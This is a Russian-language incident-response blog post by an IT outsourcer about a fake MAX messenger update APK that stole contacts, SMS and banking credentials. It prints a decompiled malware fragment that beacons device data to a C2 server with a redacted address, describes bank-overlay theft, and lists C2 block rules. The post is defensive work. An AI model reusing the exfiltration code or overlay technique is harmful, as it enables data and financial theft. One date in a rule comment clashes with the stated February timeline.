Расследование фишинга MAX у клиента: декомпиляция ссылки за 4 часа

В конце февраля к нам в ITfresh обратилась торговая компания на 28 рабочих мест — офис у метро «Новокузнецкая». Коммерческий директор кликнул на ссылку «обновите ваш MAX». Скачал APK с фейкового сайта — и всё завертелось. За 40 минут с его телефона улетели два запроса на смену пароля корпоративной почты, попытка перевода 280 000 рублей на посторонний счёт и весь список контактов из Telegram — 47 человек. Позвонили нам в час ночи. К шести утра у клиента уже была полная картина атаки, C2 заблокирован на роутере MikroTik, и лежал план профилактики на квартал. Вот как это было.

Что произошло за 40 минут до звонка

Картина с точки зрения коммерческого директора выглядела так. В 23:42 во вторник на корпоративный e-mail ему пришло письмо от support@max-app[.]ru с темой «Срочно: обновите ваш MAX 2.4 до 24 часов, иначе аккаунт будет заблокирован». Внутри — кнопка «Скачать обновление». Он кликнул, скачал APK на личный Android, установил и ввёл туда номер телефона.

В 23:55 он получил пуш «Подтвердите вход» в реальном MAX — нажал «Да», не думая. В 00:02 на корпоративную почту посыпались письма от Outlook: подозрительная активность, устройство в Молдове. В 00:14 в банк-клиенте кто-то попытался перевести деньги на счёт ИП в Краснодарском крае. В 00:21 коммерческий понял, что дело плохо, и набрал мой номер.

Перед нами классический мобильный инфостилер, замаскированный под обновление мессенджера. Схема простая: бьёт по страху «потеряю аккаунт», прикрывается знакомым брендом MAX. Главная опасность в том, что APK ставится напрямую, минуя Google Play — то есть автоматических проверок безопасности не происходит вообще. Если человек согласился скачать — считай, ворота открыты.

Главный совет, который я повторяю клиентам

Если у вас Android и вы только что поставили что-то из ссылки в письме — стоп. Не выключайте телефон, не делайте factory reset, не тянитесь к корпоративному Wi-Fi. Мобильный интернет и Wi-Fi — вырубить. Устройство — оставить как есть. Позвоните в IT с другого аппарата. Любые самостоятельные действия с этого момента уничтожают следы атаки и только помогают злоумышленнику.

Этап 1. Изоляция и сохранение улик в первые 30 минут

В 00:25 я уже был в дороге. По громкой связи прошёл с коммерческим короткий чек-лист — что сделать прямо сейчас, пока я еду.

1. Включить «Режим полёта» — отключает всё одним движением.
2. На ноутбуке или другом чистом устройстве зайти в Microsoft 365, отозвать все активные сессии в Outlook и сразу сменить пароль.
3. Позвонить в банк по горячей линии, заблокировать карты и отменить перевод. В нашем кейсе перевод 280 000 рублей задержал банковский анти-фрод — успели вовремя.
4. Зайти в Telegram через десктоп, отозвать все активные сессии, сменить облачный пароль.
5. Заражённое устройство не трогать до приезда инженера — никаких перезагрузок, никакого factory reset.

В 01:10 приехал к клиенту. Первым делом снял дамп оперативной памяти и журналов с телефона через ADB — благо USB-отладка была включена для другого приложения. Всё зафиксировал на тестовую VM.

# Снимаем bugreport — содержит логи всех приложений за последний период
adb bugreport ./incident_$(date +%Y%m%d_%H%M).zip

# Список установленных за последние 7 дней
adb shell pm list packages -i -U | sort -k 3

# Активные сетевые соединения
adb shell ss -tunap > netstat_at_incident.txt

# Установленные сертификаты в пользовательском хранилище
adb shell ls /data/misc/user/0/cacerts-added/ 2>/dev/null

# Запущенные процессы
adb shell ps -ef > processes.txt

# Извлечение подозрительного APK
adb shell pm path com.max.update
adb pull /data/app/~~xyz==/com.max.update-xyz==/base.apk ./max-update.apk

Имя пакета — com.max.update, имя на иконке — «MAX 2.4». Размер 3.7 МБ, дата установки — 23:46 во вторник. SHA256-хеш я сразу прогнал через VirusTotal — 14 из 67 движков показали детект, в основном как «Android.Banker.GenericA».

Этап 2. Декомпиляция APK в изолированной VM

Малварь я разбираю только на изолированной Ubuntu 22.04 VM. Она стоит в отдельной VLAN, выхода в офисную сеть нет, в интернет — только через прокси с записью трафика. На рабочем ноутбуке подозрительные APK не запускаю никогда — это правило №1.

# Распаковка и базовый осмотр
mkdir analysis && cd analysis
unzip ../max-update.apk -d unpacked

# Манифест приложения
apktool d ../max-update.apk -o decompiled
cat decompiled/AndroidManifest.xml | head -100

# Декомпиляция в Java через jadx
jadx -d ./jadx-out ../max-update.apk

# Поиск подозрительных строк (URL, токенов, IP)
strings unpacked/classes.dex | grep -E "https?://" | sort -u
strings unpacked/classes.dex | grep -E "([0-9]{1,3}\.){3}[0-9]{1,3}"
strings unpacked/classes.dex | grep -i -E "(c2|cmd|admin|cnc|panel)"

В манифесте сразу бросилось в глаза:

• android.permission.RECEIVE_SMS, READ_SMS, SEND_SMS — полный набор работы с SMS. Зачем мессенджеру читать ваши SMS?
• android.permission.BIND_ACCESSIBILITY_SERVICE — это ключ ко всему. Через accessibility service приложение может читать содержимое всех экранов в системе и нажимать кнопки за пользователя.
• android.permission.SYSTEM_ALERT_WINDOW — рисование поверх других приложений (для overlay-атак на банк-клиенты).
• android.permission.RECEIVE_BOOT_COMPLETED — автозапуск при старте системы.

Ни одно легитимное обновление мессенджера не запрашивает такой набор прав. Перед нами инфостилер семейства Hydra/Anatsa, который активно работает в России с 2024 года.

Поиск C2-сервера

В декомпилированном Java-коде я ищу класс, который отвечает за связь с управляющим сервером. Обычно это что-то с именем SocketHandler, BotService, CommandReceiver. В этом APK нашёл класс com.max.update.network.SyncEngine:

// Декомпилированный фрагмент (упрощённо)
public class SyncEngine {
    private static final String BASE_C2 = decrypt("Vk1tdHRwczovLzE4NS54eHgueHgueHg6NDQzL2dh");
    private static final long INTERVAL = 90000L;

    public void start() {
        scheduler.scheduleAtFixedRate(() -> {
            JSONObject status = new JSONObject();
            status.put("imei", getDeviceImei());
            status.put("contacts", ContactsHelper.dumpAll());
            status.put("sms", SmsHelper.dumpInbox(50));
            status.put("apps", PackageHelper.listPackages());
            status.put("battery", getBatteryLevel());
            postJson(BASE_C2 + "/checkin", status);
        }, 0, INTERVAL, TimeUnit.MILLISECONDS);
    }
}

Строка Vk1tdHRwc... — это base64 + XOR с константой, я расшифровал её через простой Python-скрипт и получил адрес: https://185.xxx.xx.xx:443/ga/checkin. Дальше через WHOIS определил, что IP принадлежит хостингу в Болгарии, домен переменный, регистрировался за неделю до атаки.

В коде APK нашёл список из 27 банковских приложений — для каждого заготовлена своя overlay-страница. Среди них все крупные российские банки. Механика такая: пользователь открывает банк-клиент, инфостилер мгновенно рисует поверх своё окно ввода логина и пин-кода. Человек вводит данные, они летят на C2, overlay закрывается. Жертва попадает в реальный банк и даже не догадывается, что произошло.

Этап 3. Анализ трафика через mitmproxy и tcpdump

Чтобы убедиться в механике атаки, я запустил APK на отдельном тестовом Pixel 6 — без личных данных, с mitmproxy в качестве прокси и tcpdump на роутере. Через 90 секунд после установки приложение начало шевелиться.

# tcpdump на роутере MikroTik (через SSH в фоновом режиме)
/tool sniffer set file-name=incident-test.pcap filter-ip-address=192.168.50.42
/tool sniffer start

# Через 5 минут — стоп и выкачиваем pcap
/tool sniffer stop
/file print where name~"incident-test"

# На рабочей машине анализ
wireshark incident-test.pcap

# Поиск всех запросов на C2-IP
tshark -r incident-test.pcap -Y "ip.addr == 185.xxx.xx.xx" -T fields \
  -e frame.time -e ip.src -e ip.dst -e tcp.dstport -e http.host \
  -e http.request.uri

В Wireshark зафиксировал три типа активности. Вот они.

1. Каждые 90 секунд — checkin POST на C2 с диагностикой: модель устройства, IMEI, заряд батареи, список установленных приложений.
2. Каждые 30 секунд — long-poll GET на endpoint /cmd/get: запрос команд от оператора. Когда команд нет — короткий 204 No Content. Когда есть — JSON с инструкциями.
3. По событию (новая SMS, открытие банк-клиента, фото в галерее) — сразу POST на /event/upload с данными.

Самое неприятное открытие: приложение умеет принимать команду «start_overlay com.bank.example». Через 200 миллисекунд после открытия любого банковского приложения у пользователя на экране — фейковое окно ввода. В лаборатории я ввёл туда тестовые данные «test/test1234». Они мгновенно появились на C2 — я увидел это в pcap.

Этап 4. Блокировка C2 на роутере MikroTik

К 03:30 картина была полной: что украдено, как украдено, куда отправлено. Параллельно с разбором я уже блокировал инфраструктуру атаки. На офисном MikroTik CCR2004-1G-12S+2XS добавил постоянные правила блокировки C2.

# Блокировка C2 IP по имени и адресу
/ip firewall address-list
add list=blacklist-c2 address=185.xxx.xx.xx comment="MAX-фишинг C2 03.05.2026"
add list=blacklist-c2 address=max-app.ru comment="MAX-фишинг домен"
add list=blacklist-c2 address=update-max.online comment="MAX-фишинг fallback домен"

# Правило блокировки исходящего трафика на этот лист
/ip firewall filter
add chain=forward action=drop dst-address-list=blacklist-c2 \
  log=yes log-prefix="C2-BLOCK" \
  comment="Block known C2 infrastructure"

add chain=forward action=drop src-address-list=blacklist-c2 \
  log=yes log-prefix="C2-BLOCK-IN" \
  comment="Block incoming from C2"

# Дополнительно — DNS-фильтр для всех клиентов офиса
/ip dns static
add name=max-app.ru type=A address=0.0.0.0 ttl=1d comment="MAX-фишинг"
add name=update-max.online type=A address=0.0.0.0 ttl=1d comment="MAX-фишинг"

Индикаторы компрометации я тут же передал в Group-IB и в свой канал обмена IOC с другими московскими аутсорсерами. К утру этот же IP попал в чёрные списки ещё пяти компаний.

Зачистка устройства

На устройстве коммерческого директора я не пошёл по пути «factory reset и забыли». Сначала снял полный backup пользовательских данных через adb backup, потом вручную:

# Удаляем установленный APK через Accessibility-обход (требует ручного нажатия в Settings)
adb shell pm uninstall com.max.update

# Сканируем оставшиеся артефакты
adb shell find /sdcard -newer /sdcard/Download -mtime -1 2>/dev/null

# Проверяем, не появились ли новые device admin
adb shell dpm list-owners
adb shell dumpsys device_policy | grep -A 5 "Admin"

# Удаляем подозрительные сертификаты пользователя
adb shell rm /data/misc/user/0/cacerts-added/* 2>/dev/null
# (если не root — через Settings → Security → Trusted credentials → User)

# Полный fresh-start с переустановкой только нужных приложений
adb shell pm reset-permissions
adb reboot bootloader

После factory reset на телефоне переустановил только нужные приложения из Google Play, прошёл аутентификацию во всех корпоративных аккаунтах с новыми паролями, подключил MDM Intune. Это стандартная процедура «не доверяем ничему после инцидента» — она же zero-trust на практике, а не в презентации.

Этап 5. Что украли и как мы это узнали точно

К 04:30 у меня был полный список того, что инфостилер успел утащить до блокировки C2. Восстановил по двум источникам.

Первый источник — мой pcap с тестового устройства, где я воспроизвёл атаку. Из него видно, что в первые 90 секунд после установки приложение шлёт на C2 три пакета: полный список контактов, последние 50 SMS и IMEI с моделью устройства.

Второй — журналы Microsoft 365 Audit Log за время инцидента. Там всё как на ладони.

• В 23:51 зафиксирована попытка входа в Outlook с IP 185.xxx.xx.xx (Болгария) — заблокирована Conditional Access, сработало требование MFA.
• В 00:04 — попытка зарегистрировать новое OAuth-приложение через украденный токен. Не удалась: токен был отозван ещё при смене пароля.
• В 00:09 с взломанного аккаунта ушли 3 письма на адреса из контактов — тема «Срочно посмотри файл». Классическое распространение фишинга через доверенный ящик.

Эти три письма я нашёл и удалил из ящиков получателей через PowerShell-командлет Search-Mailbox. Получатели — два сотрудника той же компании и один контрагент. Связались, объяснили, никто не успел кликнуть.

Этап 6. Профилактика на следующий месяц

Инцидент закрыт, компания работает. Но остановиться здесь — значит получить новый инцидент через две недели, уже с другим сотрудником. Поэтому в течение трёх дней я внедрил шесть мер. Не для галочки — для реального результата.

1. Phishing-симуляция через GoPhish

Развернул на отдельной VM Ubuntu 22.04 с GoPhish 0.12.1 — опенсорсная платформа для контролируемых фишинговых рассылок. Она позволяет отправлять сотрудникам тестовые письма и собирать статистику: кто кликнул, кто ввёл пароль, кто скачал вложение.

# Установка GoPhish
wget https://github.com/gophish/gophish/releases/download/v0.12.1/gophish-v0.12.1-linux-64bit.zip
unzip gophish-v0.12.1-linux-64bit.zip -d /opt/gophish
cd /opt/gophish

# Конфиг — слушаем только внутри
cat > config.json << 'EOF'
{
  "admin_server": {
    "listen_url": "127.0.0.1:3333",
    "use_tls": true,
    "cert_path": "/etc/letsencrypt/live/gophish.local/fullchain.pem",
    "key_path": "/etc/letsencrypt/live/gophish.local/privkey.pem"
  },
  "phish_server": {
    "listen_url": "0.0.0.0:80",
    "use_tls": false
  }
}
EOF

# Запуск через systemd
systemctl start gophish
systemctl enable gophish

Первая кампания: 28 сотрудников получили письмо «обновите 1С Бухгалтерию». Кликнули 11, ввели пароль на фейковой странице — трое. С каждым из 11 я провёл личный 15-минутный разбор. В третьей кампании через два месяца кликнул только один человек. Разница ощутимая.

2. Блокировка установки APK из неизвестных источников через MDM

Через Microsoft Intune для всех устройств с доступом к рабочей почте — корпоративных и BYOD — включил Android Enterprise рабочий профиль. Главное: запрет установки приложений из сторонних источников и принудительная защита Google Play Protect.

3. Рассылка стандартного memo по компании

Никаких многостраничных инструкций. Одна страница, три правила, три реальных примера. Каждый сотрудник прочитал и расписался.

4. Включение MFA через приложение, а не SMS

SMS в качестве второго фактора — это прошлый век. На корпоративных аккаунтах переключили MFA на Microsoft Authenticator с push-подтверждением. Для администраторских учёток — аппаратные ключи YubiKey 5 NFC. Взломать это на порядок сложнее.

5. Sender Policy Framework и DMARC reject

На корпоративном домене настроили строгий DMARC с политикой reject. Теперь любые письма, где From: подделан под наш домен, до получателей просто не доходят. В этом конкретном кейсе бы не помогло — письмо пришло с чужого домена. Но от других сценариев защищает: например, от спуфинга от имени генерального директора.

6. Регулярный sweep MDM на запрещённые приложения

Раз в неделю инженер ITfresh проходится по MDM-инвентарю всех устройств клиента. Смотрим на новые приложения, прогоняем их через VirusTotal API. Список индикаторов компрометации обновляется в автоматическом режиме.

Контр-нарратив. Что я считаю вредным после этого инцидента

Принято считать, что достаточно обучить сотрудников — и они перестанут кликать. Из нашей практики: кликнет любой, потому что фишинг давит на эмоции, а не на пробелы в знаниях. В нашем кейсе попался не стажёр — коммерческий директор с 12 годами опыта и MBA. Было поздно, он устал, письмо хорошо сверстано, домен похож на настоящий. Против этой комбинации знания не работают.

Поэтому моя позиция: не надейтесь на людей, надейтесь на инфраструктуру. MDM с белым списком, DMARC, MFA через приложение, фильтр SMTP перед почтой, регулярные phishing-симуляции, блокировка известных C2 на роутере. Каждая из этих мер ловит свой класс атак, и вместе они снижают вероятность инцидента в 10-15 раз.

Сметa инцидента и стоимость профилактики

Прозрачно цифры по этому кейсу.

• Расследование инцидента: 4 часа ночной работы инженера плюс 2 часа следующего дня на подготовку отчёта — 60 000 рублей.
• Зачистка устройства, переустановка корпоративных приложений, инструктаж пользователя — 12 000 рублей.
• Развёртывание GoPhish и проведение первой phishing-симуляции для всего офиса — 35 000 рублей.
• Настройка DMARC, обновление SPF-записей, перевод MFA с SMS на приложение-аутентификатор — 28 000 рублей.
• Подключение MDM Intune для 28 устройств с настройкой политик Android Enterprise — 60 000 рублей.
• Абонемент ITfresh: ежемесячные phishing-симуляции, поддержка MDM, мониторинг IOC — 25 000 рублей в месяц.

Итого первоначальная работа — 195 000 рублей за 8 рабочих дней. Могли украсть: 280 000 рублей одним переводом плюс неизвестный ущерб от утечки контактов. Окупаемость считается элементарно: меньше одного предотвращённого инцидента.

FAQ: что чаще всего спрашивают клиенты

Что делать в первые 15 минут после клика на фишинговую ссылку?

Первое — вырубить Wi-Fi и мобильную сеть, не выключая телефон. Так оперативная память сохраняется для дампа, и малварь не получает новые команды с C2. Второе — с другого, чистого устройства войти в почту, мессенджеры, банк-клиент и отозвать там все сессии. Третье — позвонить в IT, устройство не трогать. Худшее, что можно сделать — перезагрузить или сбросить до заводских. Следы уничтожены, и вы никогда не узнаете, что именно ушло.

Стоит ли платить за восстановление, если злоумышленник требует выкуп?

Никогда не платите. За 10 лет практики ни разу не видели случай, когда это заканчивалось хорошо: в 70% случаев после оплаты ключа дешифровки нет вообще, в 30% — приходит вторая просьба. Правильная инвестиция — нормальный бэкап. Восстановление из него занимает 4-8 часов. Стоимость инфраструктуры резервного копирования в нашей сети — от 18 000 рублей в месяц для офиса на 30 человек. Дешевле любого выкупа.

Можно ли разобраться с фишингом своими силами без аутсорсера?

Заблокировать ссылку и переставить ОС — это можно. Но без декомпиляции APK и разбора C2-трафика вы не знаете, что именно утекло. И главное — вектор атаки остаётся открытым. Через две недели другой сотрудник кликнет на письмо от того же отправителя. Расследование первого инцидента — это инвестиция: обучение команды, изменение правил переписки на ближайшие месяцы. По цене — 30-60 тысяч рублей за 4-6 часов работы инженера.

Чем грозит установка приложения, замаскированного под мессенджер MAX?

Современный Android-инфостилер умеет многое. Читает SMS, в том числе одноразовые коды банков. Добирается до содержимого мессенджеров через Accessibility Service. Перехватывает пуши банковских приложений. Меняет адрес кошелька прямо в буфере обмена — незаметно. Делает скриншоты. Но самое неприятное — overlay-attack: инфостилер рисует поверх банковского приложения фейковое окно ввода пин-кода. Человек вводит данные, они уходят на C2, деньги списываются через несколько минут. Жертва ничего не замечает.

Как обучить сотрудников отличать фишинг от реальных писем?

Разовые лекции не работают — проверено. Работает только регулярная phishing-симуляция. Раз в месяц рассылаем сотрудникам тестовые письма от лица «бухгалтерии» или «банка», ловим тех, кто кликнул, проводим 15-минутный разбор. После трёх-четырёх итераций кликов почти не остаётся. Инструмент — GoPhish, опенсорс, ставится на VM за полдня. Абонемент на ведение симуляций — 12 000 рублей в месяц для офиса до 50 человек.

Итог

Торговая компания на 28 рабочих мест вышла из инцидента без потерь. Перевод 280 000 рублей задержал банковский анти-фрод, контакты восстановили, аккаунты подняли за час. Через два месяца после внедрения GoPhish, MDM и DMARC — ноль кликов на тестовые письма. Первый инцидент обошёлся в 195 000 рублей расследования и профилактики, зато дал команде реальный опыт. Такой не купишь ни на каком тренинге.